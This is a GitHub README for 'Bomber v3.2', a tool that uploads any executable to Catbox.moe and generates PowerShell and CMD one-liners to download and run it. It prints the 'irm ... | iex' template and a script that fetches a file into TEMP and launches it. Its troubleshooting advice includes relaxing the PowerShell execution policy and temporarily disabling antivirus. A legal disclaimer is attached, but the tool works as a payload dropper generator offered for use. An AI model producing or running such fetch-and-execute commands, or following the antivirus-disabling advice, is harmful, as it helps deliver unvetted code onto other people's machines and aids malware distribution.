Skip to content

876N/BomberV3.2

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Bomber v3.2 - Powershell & CMD Downloader Generator

Bomber v3.2 is a professional C++ utility designed to simplify the process of creating concise downloader scripts for programmers and security researchers. The tool generates one-liner commands (PowerShell and CMD) that can download and execute files from remote servers, making deployment and distribution more efficient.

Features

  • File Upload: Automatically uploads selected files to Catbox.moe file hosting
  • One-Liner Generation: Creates compact PowerShell and CMD commands for remote file execution
  • Command History: Keeps track of all generated commands with timestamps
  • Export Functionality: Save generated commands to a text file for later use
  • Modern UI: Clean, professional interface with dark theme and visual effects
  • Clipboard Integration: Easy copy functionality for generated commands

Interface Preview

Bomber Main Interface

Bomber with Generated Code

Requirements

  • Windows 7 or later
  • Microsoft Visual C++ Redistributable
  • Internet connection (for file upload functionality)

Installation

Option 1: Download Pre-built Binary

  1. Download the latest release from the Releases section
  2. Extract the ZIP file
  3. Run Bomber.exe

Option 2: Build from Source

  1. Clone the repository:
    git clone https://github.com/876N/bomber-v3.2.git
    
  2. Open the solution in Visual Studio 2019 or later
  3. Build the project in Release mode
  4. Run the compiled executable

Project Structure

BomberCpp/
├── Bomber.sln                    # Visual Studio solution file
├── ImGui Standalone/
│   ├── Bomber.rc                 # Resource file
│   ├── Bomber.aps                # Binary resource file
│   ├── icon1.ico                 # Application icon
│   ├── ImGui Standalone.vcxproj  # Project file
│   ├── ImGui Standalone.vcxproj.filters
│   ├── ImGui Standalone.vcxproj.user
│   ├── main.cpp                  # Application entry point
│   ├── pch.h                     # Precompiled header
│   ├── resource.h                # Resource definitions
│   ├── ImGui/                    # ImGui library files
│   ├── src/
│   │   ├── UI.cpp               # Window management
│   │   ├── UI.h                 # Window management header
│   │   ├── ui/
│   │   │   ├── Drawing.cpp      # Interface rendering
│   │   │   └── Drawing.h        # Interface rendering header
│   │   └── ext/
│   │       ├── MasonBomber.cpp  # Core upload/download logic
│   │       └── MasonBomber.h    # Core logic header
│   └── x64/                      # Build output directory

Usage Guide

Step 1: Select File

  1. Launch Bomber v3.2
  2. Click the "Browse File..." button
  3. Select the executable or script file you want to distribute
  4. The selected file path will appear in the interface

Step 2: Generate Downloader Command

  1. Click the "Generate Command Downloader" button
  2. The application will:
    • Upload your file to Catbox.moe
    • Create a PowerShell download script
    • Generate a one-liner command
  3. Status updates will appear during the process

Step 3: Use Generated Command

  1. The generated command will appear in the history section
  2. Click "Copy" next to any command to copy it to clipboard
  3. Use the command in:
    • CMD terminals
    • PowerShell sessions
    • Batch scripts
    • Other deployment methods

Additional Features

  • History Management: All generated commands are saved in session history
  • Export History: Click "Save as .txt" to export all generated commands to a text file
  • Direct Links: The signature "ByABOLHB" contains embedded links (click to explore)

Generated Command Examples

The tool creates commands in this format: `` powershell "irm catbox.moe/[RANDOM] | iex"


Where the PowerShell script contains:

$url = 'catbox.moe/[FILENAME]' $tempFile = Join-Path $env:TEMP '[ORIGINAL_FILENAME]' Invoke-WebRequest -Uri $url -OutFile $tempFile Start-Process -FilePath $tempFile - Wait


## Technical Details

### Dependencies
- Windows API (wininet, shell32, comdlg32, user32)
- Dear ImGui for graphical interface
- DirectX 11 for rendering

### Key Components

#### MasonBomber Class
Located in `src/ext/MasonBomber.cpp/.h`
- Handles file uploads to Catbox.moe
- Generates random filenames
- Creates PowerShell scripts
- Manages one-liner command generation

#### Drawing Class
Located in `src/ui/Drawing.cpp/.h`
- Implements the graphical user interface
- Manages visual styling and effects
- Handles user interactions
- Displays generated commands and history

#### UI Class
Located in `src/UI.cpp/.h`
- Manages window creation and events
- Handles DirectX 11 rendering
- Processes Windows messages
- Coordinates between components

#### Main Entry Point
Located in `main.cpp`
- Application startup
- Initializes the UI system

## Building Instructions

### Prerequisites
- Visual Studio 2019 or later with C++ support
- Windows SDK
- DirectX SDK (optional, for advanced features)

### Build Steps

1. **Open Solution**

Open "Bomber.sln" in Visual Studio


2. **Configure Build Settings**
- Select "Release" configuration
- Choose "x86" platform
- Ensure all dependencies are properly linked

3. **Build Project**
- Right-click on "ImGui Standalone" project
- Select "Build"
- The executable will be created in `x86/Release/` directory

4. **Troubleshooting Build Issues**
- Ensure ImGui files are properly included
- Verify Windows SDK version compatibility
- Check library paths for wininet, shell32, comdlg32, and user32

## Security Notes

⚠️ **Important**: This tool is intended for legitimate purposes only:

1. **Authorized Use Only**: Use only on systems you own or have explicit permission to access
2. **Educational Purpose**: Suitable for learning about remote deployment techniques
3. **Security Testing**: May be used in authorized penetration testing engagements
4. **Compliance**: Ensure compliance with all applicable laws and regulations

The creator (ABOLHB&KSR) assumes no responsibility for misuse of this software.

## Troubleshooting

### Common Issues

1. **Upload Fails**: Check internet connection and ensure Catbox.moe is accessible
2. **File Not Found**: Verify the selected file exists and isn't in use by another process
3. **Command Doesn't Execute**: Ensure PowerShell execution policy allows remote scripts
```powershell
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Error Messages

  • "File does not exist!" - The selected file was moved or deleted
  • "Failed to upload file" - Network issue or hosting service problem
  • "Failed to create PowerShell script" - File permission or disk space issue

Runtime Issues

  • Missing DLLs: Ensure Microsoft Visual C++ Redistributable is installed
  • Administrator Privileges: Some operations may require elevated permissions
  • Antivirus Interference: Temporarily disable antivirus if it blocks upload functionality

Development

Adding Features

  1. Modify MasonBomber.cpp for core logic changes
  2. Update Drawing.cpp for interface modifications
  3. Edit UI.cpp for window management changes

Code Style Guidelines

  • Use descriptive variable names
  • Add comments for complex logic
  • Follow existing formatting conventions
  • Test changes thoroughly before committing

Contributing

  1. Fork the repository
  2. Create a feature branch
  3. Make your changes
  4. Submit a pull request with detailed description

Release Notes

Version 3.2

  • Enhanced user interface with visual effects
  • Improved file upload reliability
  • Added command history with timestamps
  • Implemented export functionality
  • Fixed various bugs and performance issues

License

This project is released as open-source software. See LICENSE file for details.

Credits

Developed by Freemasonry

Copyright © 2024 FREEMASONRY. All rights reserved.

Support

For issues, feature requests, or contributions:

  1. Open an Issue on GitHub
  2. Check existing documentation
  3. Review the source code for implementation details

Disclaimer: Use this tool responsibly and only in environments where you have explicit permission. The developer is not responsible for any misuse or damage caused by this software.

About

Powershell & Cmd Downloader

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors